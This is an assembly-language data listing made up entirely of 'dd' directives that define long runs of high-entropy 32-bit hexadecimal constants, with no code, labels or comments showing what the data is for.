dd 9562AC03h, 0B7FF57B7h, 0E39DB5E0h, 6265EF43h, 94585E03h
dd 0B5DA4B06h, 2C001D90h, 7C9F7F6Bh, 0C08BEB5Ch, 0F782B8F2h
dd 524E99Dh, 493F6D9Ah, 8DF4DE34h, 1F21F4FEh, 0E99FF0DFh
dd 8EDF100Fh, 281AACCBh, 0D382B2Fh, 1BD064F9h, 6FE9098Eh
dd 518736C0h, 875C30C7h, 77D4AC55h, 0C4EE20C5h, 5C0A0AA7h
dd 1B275548h, 46D0C10Ah, 78150C2Bh, 13B26E7Ah, 812BE04Ah
dd 0EA5EFD90h, 0FF602CAh, 67230C48h, 8BCA55Dh, 5E8A00D8h
dd 0CFDC7C87h, 2B781868h, 22C50F42h, 0BCC85022h, 17E42673h
dd 53DD10D3h, 9AC0CCFBh, 8C863AE6h, 585C8AABh, 1B0C9320h
dd 0FC064B91h, 0BF7729Eh, 0A355E66Fh, 0C5928B54h, 898BE8BBh
dd 0F6C9EF11h, 986ECAF2h, 4D639732h, 0FAD9EEF7h, 5929F627h
dd 0F7123Ah, 0EE4F5969h, 0B88F1511h, 38E743C0h, 0F144BB49h
dd 0A5BECBFFh, 0FE20BD5Bh, 559B577Fh, 0AAEC989h, 0AE905003h
dd 80A36E9Eh, 0A78FCCE2h, 0A7482985h, 768F7D90h, 0AEB6260h
dd 5542B037h, 87140411h, 7ED419FCh, 571C6E00h, 167C909h
dd 0CDC7A084h, 4CFE2845h, 0AF693639h, 0A42C6D07h, 0EC434174h
dd 3F4F93C5h, 2EA10BE7h, 0AE54DD5h, 4AB29036h, 0B335379Fh
dd 0D30209F8h, 8B269479h, 729C85F9h, 0E7339EE8h, 9DBB88BDh
dd 79382C12h, 56A4C2DEh, 6F7A68C6h, 625F9E9Eh, 8027A642h
dd 5A61A7C0h, 93A6FA3Eh, 814FFE16h, 0CFE654D1h, 0AC0455D4h
dd 0FD4840F3h, 606417BEh, 0BD659E24h, 0EE4DCF3h, 0F5512AE9h
dd 0D52AA871h, 0D8662C33h, 79ABDF9Ch, 0B334734Ah, 0DDCA521Eh
dd 133EDA88h, 1DDFA0FFh, 70B447BEh, 3250F31Bh, 89F8D4A9h
dd 0E5FF3891h, 0EE977F4Dh, 68C68FBEh, 2A1E8F93h, 13C50D5Bh
dd 0A07E6D3Ch, 8FA4F6CBh, 98FE3508h, 0D1A40805h, 0AE2AD4B8h
dd 394B16E2h, 5A3D5A6Dh, 7FAE5BE6h, 10816A8Fh, 4825A351h
dd 924E9701h, 416C8580h, 818424EFh, 0BC62FD35h, 8B210F89h
dd 2A5207F4h, 6DAACF49h, 220A246Bh, 0CDD45EB7h, 8DBD8252h
dd 5F2AEF58h, 83DE0102h, 3BF0523Eh, 0AAEB6A54h, 374EEB66h
dd 2B0A67C8h, 8DF19CC3h, 4B0A3BEBh, 0ABF30F09h, 885BFC3Ah
dd 9A860D1Eh, 0DE16613Eh, 976C6108h, 42823C41h, 0DCFEFAFDh
dd 8E914FCBh, 17F21C18h, 4774C2FEh, 0F798ED2Fh, 0FF10CEE3h
dd 0EF24A4E3h, 383F18ACh, 0B64A0FC1h, 6828A4BAh, 455EAF55h
dd 1DB03AC2h, 34E2903Fh, 0D01CB691h, 1DA99EBAh, 32D16860h
dd 0E0747EB3h, 84D8062Ah, 0F59C132Eh, 0EC1C8C97h, 8F93AC76h
dd 8F31E494h, 0B477FB52h, 4A0D803h, 0B54774DFh, 0E2CA5B7Bh
dd 6082D120h, 0B999FD3Eh, 0B0A241B2h, 0FB857698h, 951B1615h
dd 0AFC45054h, 2FDA8230h, 345F46A2h, 1FE0772Ah, 305C58A1h
dd 0CB5CD0E3h, 7E9CD800h, 50B15D87h, 0AC493D26h, 0C3ED4E92h
dd 9B46F6B7h, 20769F7Eh, 9125F6EBh, 0DEA964D2h, 987EF38Ah
dd 4E75235Bh, 31D13110h, 0BA77BCFEh, 9086FA37h, 7321176Dh
dd 6E1B71ABh, 9EC94B68h, 0C94DBD75h, 4D21AB2Ch, 797173EEh
dd 51DD1199h, 0AF48E0CBh, 395E6811h, 3E4B65F1h, 637AD493h
dd 0DE6AFD1h, 0D8E2DE29h, 55196DDAh, 37E505DEh, 23309091h
dd 0FC72C674h, 795BBD5Ch, 4125A5E6h, 0E3623D4Bh, 7BF00FCDh
dd 46D093F1h, 666DB565h, 9094941Eh, 97B6BEE7h, 8FF0A7E9h
dd 49D62FD1h, 586DCD93h, 9AE77C48h, 0CE4EDEB2h, 0CFD850B5h
dd 3F758E16h, 5A9D62BFh, 1DE6B12h, 0EFBA2177h, 0B523BE54h
dd 0BBB13C42h, 0BAE5C798h, 0DEE7A6C2h, 0C422CC72h, 29B21CB6h
dd 26A50845h, 79968FFEh, 368BE680h, 0A3EA598Ch, 0A1AF9E9Fh
dd 0E7BFD17Fh, 79C24F9Bh, 1A8A7677h, 0D9D048Fh, 9817EB7Fh
dd 0F450D5Dh, 0B1F5CBA9h, 2568FA16h, 0B5872C49h, 178FA6F0h
dd 0A6EDA8C8h, 86DA8937h, 0B68D3E96h, 0D60C0570h, 0C1778E4Ch
dd 0C2496018h, 323B82D8h, 5202A351h, 98551C0Ch, 7719B782h
dd 54238B49h, 71798E94h, 0D95DDE0Ah, 0EB45A7D4h, 0E6F797ECh
dd 1CAF8714h, 0B6B2F522h, 29BA752Ch, 0DFF6296Dh, 0CFFF3432h
dd 28BDDAF0h, 0FF059E9Ch, 26082DC5h, 5E98B2F9h, 2A728CC3h
dd 0F8A27C51h, 84E5BF99h, 0F2B8AAB6h, 0D35E11D5h, 0E885E022h
dd 50A1E472h, 0AC29100Ch, 5EB518Ah, 378A8BEBh, 0D108893Dh
dd 0FB7A753Dh, 1795D694h, 0A55A28A7h, 0B0DFE3E7h, 32A75BABh
dd 0A7F2C0D0h, 0FEEC6DE0h, 110C10F8h, 88DD8CF0h, 32176EC3h
dd 0E69EC889h, 0AB02F31Dh, 7810D2F3h, 0F4B6AB78h, 7A4A8E6Dh
dd 0FD5A86B2h, 237BA47Ah, 2297367Fh, 5E7450FBh, 154496ADh
dd 14ACD5A6h, 52B7457h, 0C70814CCh, 5B35285h, 8ADE2724h
dd 248B186Ah, 0F58539Ah, 13A63202h, 0D27AA26Ch, 42E0E8D5h
dd 187CD390h, 74778D69h, 7DB81858h, 0E22EB02Ch, 0EC745DFDh
dd 0DBC3C34Fh, 59856E7Eh, 0F56601CAh, 0B562D51Fh, 0E20A00DDh
dd 2867CE1Fh, 0D564FB33h, 2513552Fh, 305FC32Eh, 0EEAA5433h
dd 8C4BD120h, 138FCF07h, 1A641906h, 3FE28AB2h, 7AB38C9Ah
dd 0E256E616h, 373E64B9h, 0F2E62Bh, 66D50501h, 659C9A05h
dd 6A400F83h, 53718173h, 0A3D45835h, 0D97CAAF8h, 5799D41Eh
dd 77CF2C6Ch, 2141A786h, 614FB0CAh, 9A7D9FC4h, 0B7DBB0A5h
dd 0B376B9BBh, 7E435728h, 50BB5DCFh, 9C1B7721h, 0BA317441h
dd 3EBBAD14h, 0F75A4CBCh, 0DE686A95h, 0C2EB27B3h, 0DD4B7CCBh
dd 0C9EBA110h, 6BA0B330h, 0C8AE51A2h, 0D3FC7525h, 7E0B65B7h
dd 99AA4612h, 1866A5AEh, 0CA103C73h, 1B292421h, 0AE03A9FFh
dd 57D82159h, 51E13F10h, 0F26023CDh, 8D942E8Eh, 4426CE98h
dd 0D06A0D0h, 7B0DD2EEh, 0FC929D99h, 502BD041h, 0B3872E51h
dd 0DBD9DC6Bh, 9AE169Ah, 0A0FA4397h, 0B65E28A7h, 79C86C1Ah
dd 0BE4ADC2Ah, 6A687D8Dh, 954A9930h, 60AA6F0Fh, 0E6CA669Fh
dd 0EE70EBB8h, 0E4CF7279h, 423BE14h, 5ADFE175h, 14B54356h
dd 1BE83B52h, 758391Ch, 204C1F0Bh, 8828D2D7h, 0CCA70C31h
dd 9B714DC0h, 0B13A1B73h, 6B6F63E1h, 299066CAh, 0B13A752Eh
dd 160FE256h, 8BD1FC11h, 7B53E334h, 0AD568601h, 0DB7FA0E1h
dd 8F0BA0AAh, 4200FD54h, 80A35CFFh, 736483A6h, 62D6D060h
dd 0A7DBD400h, 7BBD0A4Eh, 9CC6F9EBh, 67B6AC6Bh, 5C4B63F5h
dd 0A5F38915h, 47C26852h, 0B43F2F33h, 91279405h, 0FD2C2C11h
dd 8AADA87Eh, 0DF1C1227h, 92406B1h, 879CC76Ch, 0B89B68B6h
dd 0BB387DEBh, 0F0DEB0DBh, 0E1456F75h, 0E28BBE32h, 14876DFFh
dd 5EC84FDAh, 24A2990Ch, 9A16A062h, 37FDB0ADh, 0E7F10D4Dh
dd 0E4B3AFA1h, 17A255Eh, 4F797F07h, 12863A89h, 0AD8B4CC6h
dd 977753BBh, 7A15C7A4h
dd 8B2894EBh, 18741CC7h, 152FE573h, 0E272D07Bh, 60965CC8h
dd 6E190792h, 1408346Ch, 0B8CDB916h, 0E47FE62h, 655287C4h
dd 0C6E23FAh, 0B39E3E36h, 9AB2B40Eh, 0FB84235h, 8B67427Ah
dd 1365E59Eh, 577FAA46h, 0CECE87E4h, 62AED9BEh, 9B325BC9h
dd 0B2E4D794h, 34DF3ABh, 4E8C74AFh, 0F518C69Ch, 9B57122Fh
dd 0ECABD78Bh, 0FC7F8F0Fh, 8D50D41h, 8B5FCF25h, 1FEFF151h
dd 0C32A2CAFh, 34531856h, 0C081967h, 94B2BC19h, 560CE0Ah
dd 2D8E5B2Dh, 0E4682ABBh, 0B8138DCEh, 81190522h, 0B0736E46h
dd 514DCDE4h, 5858AE21h, 827D6805h, 0DEEFCD83h, 0B7720AC8h
dd 0FB2AC75Dh, 0F571671Fh, 7F9B5CB8h, 977FF542h, 602A0D19h
dd 149E1155h, 7F487CA1h, 0C1B8BD50h, 34ACCF4Bh, 0E9E2B2BDh
dd 6DBA8EC0h, 1C65E1EEh, 0A6EAB3DBh, 0ACE486Fh, 0A38C9309h
dd 5AEFD5D1h, 0CB5F5BB4h, 0CD7B2433h, 0CA81AB9Ah, 0CB71184Eh
dd 8073EE8Fh, 0A91765EDh, 0EDD526CDh, 0B1867E97h, 98FA3F1Eh
dd 0F1ACB405h, 92E89350h, 0F1AA56CBh, 0B095067Bh, 4B466768h
dd 166AB079h, 379A9811h, 1C13F11Ch, 17C422Bh, 0FA820E87h
dd 0C5CCACD7h, 2ED19EF2h, 3A6F1CDEh, 476F2071h, 87A8ECA9h
dd 91C2E082h, 4149A78Dh, 97A89899h, 41B93DF6h, 9CA5D475h
dd 96621B81h, 790F739Dh, 87D23BD3h, 63BFC377h, 0F1730E51h
dd 35172F24h, 682A78FAh, 4258A4E7h, 0EA8EE1EDh, 19825CD0h
dd 8B139B5Ch, 69CA94A7h, 0E68B6F8Fh, 47556D6Fh, 2B6EDAEAh
dd 0E6E82DB4h, 0E6508627h, 0BAAEB646h, 0B40D9481h, 75A6DFD1h
dd 0E5CBB6DFh, 8A304873h, 81FE04ABh, 0E33FC8DFh, 350C02CDh
dd 2591F20Ah, 0C238721Ch, 0D0E7DB9Fh, 947EF95h, 43291FB0h
dd 42C65FFh, 6CA5F3DBh, 0F7468305h, 5D8A494Eh, 69258697h
dd 9A25B5Ch, 0E417611Dh, 2DE3572h, 49DC3046h, 0CD83702Fh
dd 5D7E675h, 64159C2Ah, 0B75412B6h, 5E54348h, 0D01D38FCh
dd 0EE8F4E0Bh, 7FC7F546h, 0AC02BED8h, 71B540CEh, 50D8C94h
dd 0E7E024CBh, 0C901ED6h, 2ADEAB5h, 0B0492DC8h, 209AD017h
dd 0F06DBB72h, 638ADBBBh, 7F7BF1F9h, 0C74A149Ah, 0CF187AFCh
dd 953644A4h, 7C4B659Bh, 0DDA95B08h, 0FC28DEC8h, 0D2DCFFFEh
dd 70232B93h, 8A3E808Eh, 0B5175BF1h, 0C4E58DB3h, 22B9CBF6h
dd 175B1A86h, 4A406054h, 9556981Fh, 0DCF6E30Bh, 0B9EAC3DAh
dd 657454EBh, 0B0D9BFDh, 59EBFB85h, 20BC3803h, 55B10D6Ch
dd 5C3DFE93h, 6584F0B3h, 69FF9A0Fh, 2DDB313h, 0B9BF12AAh
dd 0AD0DCC87h, 83FD5947h, 5EB3B39Eh, 0EBA00C6Ch, 9212D01Ch
dd 152D40ADh, 0F54E4B9Ch, 9C0D9131h, 0D78792C7h, 0DAFB2619h
dd 88109E42h, 9308B01Bh, 49E2EA32h, 7F6DCE88h, 96D4CEBEh
dd 0DC22E3E0h, 90108B9Eh, 500A1FC3h, 0CA5CA5D9h, 0C77B9BC8h
dd 94137CD3h, 2525FCh, 7E15C989h, 131CE607h, 31D2A856h
dd 83BF88E5h, 7BA1274h, 3C1D354Dh, 0C35DFAAFh, 119A7034h
dd 0BFB5B34h, 5237C7CDh, 0F50C328Dh, 56871D2Ch, 99CE6C6Ch
dd 0DB7EED9Eh, 4C35CEEFh, 0A21B7357h, 4857F431h, 8AD995E0h
dd 4B5114C6h, 0C7EF5264h, 0BDA2B343h, 466ACCACh, 0E1B9C417h
dd 0FC3146DEh, 540C7D2Ah, 3C9A3272h, 78DFA430h, 1E506181h
dd 308B16D9h, 2C9AC98Fh, 3B285B51h, 0D4915B1Fh, 0C5D606CFh
dd 16658334h, 0FD8ADFCEh, 9D5A82E2h, 0B2CDB899h, 0B9606D86h
dd 85B3FAD6h, 2F98AF7Dh, 0C7744EB9h, 0B7A527F9h, 0F3803153h
dd 332E3C30h, 0D66CA32Bh, 58F8D914h, 0A2DD7ED1h, 7CD09DFBh
dd 8160687Ch, 0DE1B85EEh, 6282A25Ah, 2E734560h, 0ED26C2FAh
dd 2ED66DF5h, 0BE4A28D9h, 8B2DB16Dh, 0BBF278CEh, 0B443BD42h
dd 19218B65h, 5169C423h, 4C9DB126h, 3B38605Ch, 7D7E66ACh
dd 35D50C56h, 50C9CFA2h, 0C2440142h, 0F197596Ah, 1B15DD99h
dd 63174E35h, 77536FEBh, 0C6758F9Ch, 1C8229EDh, 35703DBDh
dd 721EBEFCh, 0D2D6B947h, 5EBF9B84h, 4E9C56CFh, 6B4D1DEh
dd 2ED127CDh, 92427704h, 0BB8ED4D6h, 0B0C7E0AEh, 85045661h
dd 0E76A3EDAh, 4AD2E484h, 7746027Dh, 0AE197E2Fh, 783D6259h
dd 21D3A4B2h, 0C54C96DBh, 0C316087Fh, 2165B246h, 81194F67h
dd 1B5D0B2Ch, 8A55B236h, 43D194B6h, 0D47591CCh, 87643F59h
dd 0E8284874h, 0E1DBDFAAh, 3A453488h, 0CF9EDAA8h, 3B083001h
dd 0CCDB15C0h, 0CADDCCF0h, 76C331FCh, 490ED17Ch, 0F54EDF0Fh
dd 3ECBCA02h, 0ECEE7F00h, 9263D41Fh, 4D1C6ADBh, 0B37278D2h
dd 258D021Bh, 197D2F7Dh, 3D241973h, 7AC0FEE5h, 3A9A2B8Dh
dd 8831E48h, 251D9F1Ch, 0B867E56Ch, 57F837F9h, 967BAE7Eh
dd 0A1802DE0h, 5F88EAA7h, 0B59D84ACh, 343D1A5h, 7C75343Ch
dd 0B03CA3DFh, 0C37F999Dh, 1056D3E7h, 16244812h, 0B28CE2FAh
dd 5A9CB94h, 250776A7h, 93FBC07Dh, 0F33A6EF9h, 10B3206Dh
dd 7CDB6D46h, 0F8C8F7BFh, 7FD56875h, 0AA8A1277h, 4D38B643h
dd 0BDAFB1AFh, 24345F24h, 1EDC6854h, 0AE621723h, 686D50Ah
dd 8C0DCC75h, 6B67E03Ch, 0A8F4872Dh, 0C8297373h, 0DB364C1Bh
dd 0C6729E54h, 4B6E7557h, 0DA3DBC5Dh, 0DB93464Ch, 0B3B13C63h
dd 5C6F5DAh, 0FAF97108h, 0CB5418C2h, 0B2901515h, 0D00BA667h
dd 8F304BFAh, 0C65143F8h, 0F884F704h, 0A9BB11F9h, 21CF86F1h
dd 269FFC92h, 2D06BCACh, 5A03326h, 2C7D4C13h, 0E0722B6Bh
dd 0B83D4A4Bh, 2ED68906h, 3D54DF1Fh, 0F274CBF8h, 0BAC42EE8h
dd 0A618AD3Dh, 0F9CE7CC2h, 1701424Fh, 0EBE771BDh, 0DAF49968h
dd 84169612h, 3F7B96F9h, 3D04C2B0h, 12307E6Ch, 0AA5117EAh
dd 0C104E94Dh, 0B487B7FCh, 188E6D5Ah, 6FAE58DDh, 0CDD4E69Bh
dd 99538A1Eh, 0A034A860h, 3BBF31F2h, 63995336h, 0DB6FDF7Fh
dd 50D5E9D7h, 80E445C0h, 35E7DBB6h, 7FE26857h, 5CD4C1F4h
dd 0D39ED8D4h, 6F4F0C62h, 9AFD3F38h, 79D22BA5h, 2DE7AC1Dh
dd 0B9B30630h, 6A857EF6h, 0AD251229h, 6E4493E5h, 40A4F660h
dd 0E0BDDB91h, 20BF349h, 691832B4h, 0A814B533h, 0C2CC068Ah
dd 0E6A2E49Eh, 52C6EB3Ah, 163B9A45h, 0C6325D27h, 21B7553h
dd 0F960F57Ah, 0E33AA0B4h, 0F7721105h, 10B67A91h, 8F9ED9C9h
dd 2503EEECh, 0A8BD78F1h, 40232937h, 1388B325h, 7B1FD2A1h
dd 9CAAB8B5h, 75F3C7D7h, 927DC72Ah, 58761F00h, 0E3BA0796h
dd 184EA183h, 0B80A8EF5h, 7A7FA5A5h, 77A87238h, 7CD72127h
dd 1A2C79Dh, 0D16FFFD8h, 7299D95Ch, 64C73A16h, 0F8A0B9DEh
dd 0D7B21406h, 0FB38B767h, 0A1526E7Ah, 208B33DAh, 232753C8h
dd 5B368910h, 0CBDB0672h, 5CE9BCC6h, 5B969ABBh, 0D4E5720Fh
dd 20EA8AFDh, 6823AAEh, 6D37DF5Fh, 76596E8Dh, 0A56ED9B1h
dd 0F5FAE73Ah, 0D2140952h, 695158B6h, 0F0F58434h, 5E16A7DCh
dd 0A1520A7Eh, 5258EDA5h, 47D7DEABh, 96BE1E06h, 0AC3A531Dh
dd 0A9773918h, 3D47A268h, 0E5295C9Ah, 707FC957h, 6D162304h
dd 0C9374B6Eh, 3D0249EBh, 8DD8F196h, 9555DDA4h, 27F5B457h
dd 2FDDC621h, 39F38FFDh, 0B73D4028h, 47BD00AAh, 0CA3C419h
dd 0C8AE11F3h, 0C8DFAA6Ah, 0BEAE7B89h, 280A99D6h, 0AA72CF4Bh
dd 0AFCACD88h, 0DC110D80h, 0CDADAD0Ch, 495B0B0Dh, 70E3ED02h
dd 8DC54B2Eh, 0BEAA522Eh, 0A8C7A40Ah, 628DD086h, 0E8BFE887h
dd 0B53F963h, 0A360186Bh, 52FDDC64h, 0B1E39352h, 0ED36299Ch
dd 0C233D3F6h, 6DB65894h, 0DE639275h, 0E44D05D2h, 126FE718h
dd 0FDF6DCB3h, 82E0445Dh
dd 0A42CCAEDh, 0F46F518h, 8883D409h, 0F8C06BFCh, 27170C29h
dd 9B416CFAh, 0CF729C57h, 6DC5BD4Eh, 97E74642h, 598E4835h
dd 0F9C1551Bh, 0C5A7D16Ch, 0AE218856h, 29804C3Ah, 50099B47h
dd 0B7A2245h, 0F71698E0h, 31E61D8Eh, 0D621329Fh, 55644DFBh
dd 2BCF0F9h, 2EE30A2Eh, 9D0D8832h, 24C59F3Ch, 2ACB9BD6h
dd 9EA97962h, 0CD4840D2h, 3BB516FBh, 5B36B6BEh, 0E9E0C2ADh
dd 0E5E97479h, 6CFBBAC3h, 0EED83062h, 5CD437D5h, 0D92B523Bh
dd 57B74913h, 0D38A4C09h, 12A95AC9h, 0BBDAEC8Bh, 0E6861231h
dd 0A35C8799h, 9ADE554Bh, 52B2350Eh, 0BA702ADAh, 0CACC26EEh
dd 5AD0CB26h, 0F7B3F660h, 0F0C592D2h, 0E0ED4DE7h, 5A9F2101h
dd 0BF4B2A80h, 7C890813h, 24585908h, 30482A76h, 0E3F6043Bh
dd 0DB9AF7ECh, 8A8D964Fh, 0D7A70E1Fh, 0ED346259h, 5266A56Fh
dd 0CCD4F2CCh, 0C04F54C0h, 0C61460B1h, 0FA3EF7B8h, 30E5650h
dd 0C0622562h, 0DDF7480Bh, 9603277Ah, 0AC8271ACh, 0EC89F428h
dd 568696C9h, 0A998A69h, 7D7E9F72h, 80BC9214h, 576704ABh
dd 0BB06142Bh, 0EC3153FFh, 0A764A31Fh, 739D3794h, 0F3803460h
dd 0BEC69DB0h, 5CB24C76h, 1B82DDE3h, 0B0282746h, 771BC179h
dd 513C1FC8h, 0EF1809FDh, 0B7626715h, 671B076Ah, 0AEAF6887h
dd 0C70460DAh, 8055BFADh, 414A119Bh, 8826C474h, 0B7878334h
dd 47072311h, 0A7D77999h, 6171AA99h, 48D6D6D4h, 0F7392B64h
dd 1F21EAh, 4E67703h, 0AECDF27Dh, 8E31825Bh, 0FCC86FC9h
dd 706CE053h, 0B9B17CE1h, 8C1FE4AAh, 31780F86h, 0AD27EF57h
dd 0F6A43E71h, 67897206h, 0E9EDA465h, 0B47AF4F6h, 0DD4C9AB6h
dd 0C35F547h, 8B75363Ch, 0C88F85AEh, 7F0799Ah, 3F35EC1Ah
dd 4197A3h, 0B3E10C5Ah, 51F6F9CCh, 290D2F3h, 51F94980h
dd 34FDACA3h, 0BAC7F0AFh, 3A29726Ch, 5816C912h, 8B9C3BCEh
dd 0F3B65329h, 31A90FABh, 9156A9BAh, 96C0BB59h, 0A04059D6h
dd 5D2C9638h, 7BC5B15h, 0ABC419F5h, 0B8E2244Dh, 73A2DA87h
dd 5D990552h, 0A479BD0Ah, 5CD2FC6Ch, 0FEF7199Dh, 49CEA359h
dd 5206FC80h, 968C3E4Bh, 0EB2CD772h, 577F5688h, 0DECEFE5h
dd 0E274564Ch, 0C55414E0h, 95192264h, 999C94C6h, 6A3AE429h
dd 6DCE8327h, 85682445h, 5CF02EB6h, 0AA68482Eh, 0A122574Bh
dd 22FF9212h, 1734FF5Ch, 0C83BC5CBh, 7692D438h, 0D5197E97h
dd 0ECDFE5B3h, 4815C856h, 0E24D40D4h, 2A009803h, 0E2B9B7CBh
dd 1867A1F4h, 0D0F621DBh, 8F30A098h, 0C89639EFh, 0DA2C7CCBh
dd 0F9A694C5h, 0F9BC3EDDh, 4ECF6519h, 0DD9C4BB4h, 47A3B935h
dd 563980E7h, 0EABD1112h, 0F3AD81DFh, 0A3FBE6B6h, 2C35BC23h
dd 3E5FC05Dh, 88EB1B18h, 0FB976367h, 0FF4366DFh, 9D50CE75h
dd 65634571h, 0CD9C410Bh, 859A7BE3h, 0B0FA024Dh, 0E0315582h
dd 6BE62FC8h, 0DCF474E0h, 85607595h, 0BC4A9FAh, 90E9838Eh
dd 0FA210D29h, 594828BCh, 5B09B8A3h, 83DB062Fh, 59699D43h
dd 41BE6E32h, 903A4A11h, 0B3B7026h, 0FC745671h, 80E4C431h
dd 0F54C0487h, 43765306h, 0D8F0E4E3h, 4F079DD9h, 2BF5CECDh
dd 0DF1202C7h, 0D6FF18A7h, 0F6AFDDB7h, 6F7B1089h, 0C91ADFA4h
dd 7F4B7FF1h, 44206FF3h, 55A66BC6h, 5FFE3875h, 2012448Eh
dd 6344F0A8h, 198B16BAh, 49A6E7F5h, 71881BCBh, 4B7E6D94h
dd 99BB8B1Ch, 0D73EA99Ch, 0A60712BDh, 656BE4CCh, 0B84128F8h
dd 0FFA14E4Ah, 1A13D7C5h, 89C0DDDEh, 14EE3D6Fh, 0EC3E324h
dd 0D27B84EAh, 8D8851h, 46BF5714h, 6B9273h, 0C27A4EA4h
dd 0F81665C1h, 0B7D07346h, 50755C40h, 5D544130h, 3EF7AEEAh
dd 6A5895A0h, 9D204C4Eh, 355C644Ch, 0CE68FC4Bh, 3DCCF7C9h
dd 0C8124927h, 3093F87Dh, 0E40AB261h, 6DF619A7h, 2CAD91BCh
dd 0E7D0FD6Eh, 751C8492h, 0F7FC0284h, 483C160Bh, 1E1835F7h
dd 1A432C6Bh, 0FCBFC6BFh, 0B1F8193Bh, 0AF9A1171h, 0CD535CBh
dd 39B6C317h, 0DD64C7C8h, 107EF278h, 0F020A17Fh, 56BFC181h
dd 0F43CC815h, 0F61D1CADh, 0EF32694Bh, 8C670222h, 0EDDE3D0Dh
dd 494D174h, 0E149A487h, 5588E4Bh, 0FAD2A58Ch, 0A0D69ACEh
dd 3971A2BFh, 2463285Ah, 0CAA6E8DAh, 0D3E1A6EEh, 0E949A242h
dd 0FEA350F0h, 0EFE946D7h, 1400BB24h, 0C86CB08Eh, 90803385h
dd 13CEAED6h, 0BD21F410h, 36354484h, 223EF77Ch, 0E8E53B94h
dd 863F2D27h, 86839D90h, 0C22DAFB7h, 0EF793EB1h, 0D277A427h
dd 98ACDCA9h, 8B69477h, 58B88826h, 0EB9AD5E3h, 28E45932h
dd 3C5D1D29h, 0E1F49861h, 85BA1206h, 26C3B5E9h, 0A5C010DCh
dd 57FC158h, 47205B8Fh, 0D135CD06h, 0B24A95BAh, 354A2E2Dh
dd 0FE27F22Ch, 8CEBE5B6h, 0BF51393Bh, 95A088B2h, 453508A5h
dd 6B8FEA7Ah, 465A8921h, 15C20A61h, 99C78BD4h, 9D9AB872h
dd 91B0D62Fh, 7255A819h, 0B48D0968h, 1E369CF9h, 9AD4ABF6h
dd 634814A2h, 0A4D88B7Ch, 0C38264DBh, 0CC0A02B7h, 5345C976h
dd 26E46837h, 0EA4A7F66h, 0E7292982h, 5511FA39h, 732B7996h
dd 69CB7329h, 654C5B7Eh, 0C08CA54Bh, 13220A6Eh, 0E137D270h
dd 0BB038600h, 9B238C96h, 7DE09B71h, 1EE9487Ch, 8E426636h
dd 0D7FF08FBh, 0B3C16FE8h, 510A73B4h, 331F0503h, 28CC901Bh
dd 0C4AF2531h, 65D612EEh, 0B3E456EEh, 4BD5E12Dh, 96CDDD9Ch
dd 466C885Ah, 88A4CF92h, 21FFE98h, 29C2BEF3h, 0BCBB3228h
dd 5F20D3ADh, 0AC99F885h, 27CC517Eh, 0D91CEEE3h, 0A711C88Dh
dd 0D475FA8h, 6C3AA89h, 2DC18105h, 0B9A63192h, 2CD40BDBh
dd 1BF7CEC3h, 0C115EEA4h, 7E4CC9B2h, 0A5E88D26h, 0BFD267F4h
dd 0D534DD6Eh, 4E2E2FFAh, 0BA4D316Fh, 18EB4C3Bh, 8CF62BB3h
dd 76EA2DC2h, 0A527ED45h, 3CD9F376h, 4CB3E78Bh, 366F063Fh
dd 5096C724h, 0B9CB2679h, 0E572C5D0h, 0DB622E99h, 7063331h
dd 0C992D9F8h, 0A3D1B7A1h, 4E378A1h, 0D088643h, 9EDAC20Bh
dd 30133626h, 91B15A2Eh, 9F7CACCCh, 17780D20h, 446F6266h
dd 54FC83A6h, 0AD05FDCh, 1E51C2D7h, 0B2CE94F4h, 3FCFA3EFh
dd 7B64EF59h, 10850A80h, 779A16B5h, 0A61FFA60h, 0BDE5B8F4h
dd 4BFD7853h, 0B3C1A4D7h, 53D13C1Ch, 0A45E78D1h, 4C6DCFBAh
dd 0D8C7B3F1h, 3A11B51Eh, 27C6D4CDh, 7A798C53h, 14CA9ACBh
dd 82B71B03h, 0FB0D4F4Ah, 0EAFE7697h, 0E3B0E483h, 0E0AA94FDh
dd 37D6F52Eh, 88849327h, 8BB1BCAh, 0AACAAFAh, 0D0741CBDh
dd 1789E332h, 3C129B4Eh, 1CB9B06Dh, 29032B0Dh, 0B3F3A2CEh
dd 67A58843h, 0E436D651h, 4E073C4Dh, 60258D4Fh, 0CF7EA696h
dd 758829F9h, 125BBF31h, 4CEA26D2h, 8792D6AFh, 80E24013h
dd 9301D9CDh, 5A136C5Ah, 0B52B4C23h, 93B24BD1h, 8B18BA96h
dd 0B02A4065h, 1CE1AEF0h, 7F564C91h, 24B3DE00h, 44B3DF14h
dd 1F56F3DAh, 8BDDA7C4h, 0F1EDE88Fh, 0E51A1F5Ah, 0D64DA515h
dd 417A1442h, 0DE52652Dh, 537D2DF2h, 0BE4E97AAh, 1885D2C4h
dd 0A511DAF9h, 6A9AB6FEh, 0D5493A3h, 76DA988Ch, 0CCC42E07h
dd 99BCB3E4h, 0CFB059D1h, 0DE8E7EE8h, 4BDC66B0h, 0C41DB91Eh
dd 145814DAh, 0A2334BDBh, 3C07EBEEh, 8EEA635Dh, 3740F13Ch
dd 0BD6193BBh, 936EC8E1h, 38F184C8h, 9A8BC646h, 0FDF1C601h
dd 54097A1Ah, 0B1A22F0Dh, 2AEF4E44h, 759C25D5h, 0E38BC043h
dd 966C4C4Ah, 4F8124D1h, 45569AF3h, 24AD381Ch, 3302522Fh
dd 0C691FA54h, 86AB1D1Dh, 23EA7C1Eh, 0BA143F3h, 0CA0F319Eh
dd 34368F2Ch, 373014DFh
dd 0CEF4E096h, 0C5558FA5h, 66460A90h, 0E160AF5Fh, 0C8FB6CDAh
dd 8B1590Fh, 67378AC0h, 0BC6A8AE4h, 83DF991h, 62A1F64Dh
dd 0DD9E9379h, 59DCF9F9h, 0E3468342h, 601121F4h, 47A9EA07h
dd 0DA683CDAh, 354996F1h, 4C006474h, 310FA61Eh, 8E6DC8C7h
dd 8ACC8EF0h, 1E16EF06h, 396BFD8Dh, 0BE1D3E83h, 0AFF8BDE1h
dd 9408B937h, 0C27EF5E1h, 209929A1h, 0F61FC8FEh, 13033B09h
dd 0FBCD9759h, 809877C1h, 3F8BF172h, 9A1D4184h, 215E9A9Ah
dd 6471D35h, 4BBF67C1h, 7F78C018h, 780B0E9Fh, 0D357B161h
dd 0C3A67D62h, 79C077A1h, 533FDCF1h, 83FE90DBh, 0A16443E1h
dd 64170C35h, 6F33F8F5h, 0D86E9FA5h, 222132E6h, 3E6F351Dh
dd 0AC070BFDh, 80B8A750h, 0A0688694h, 0C7F1EA55h, 405821E3h
dd 0D02EB488h, 4D538F96h, 8CA278C4h, 97171B6Fh, 182C4998h
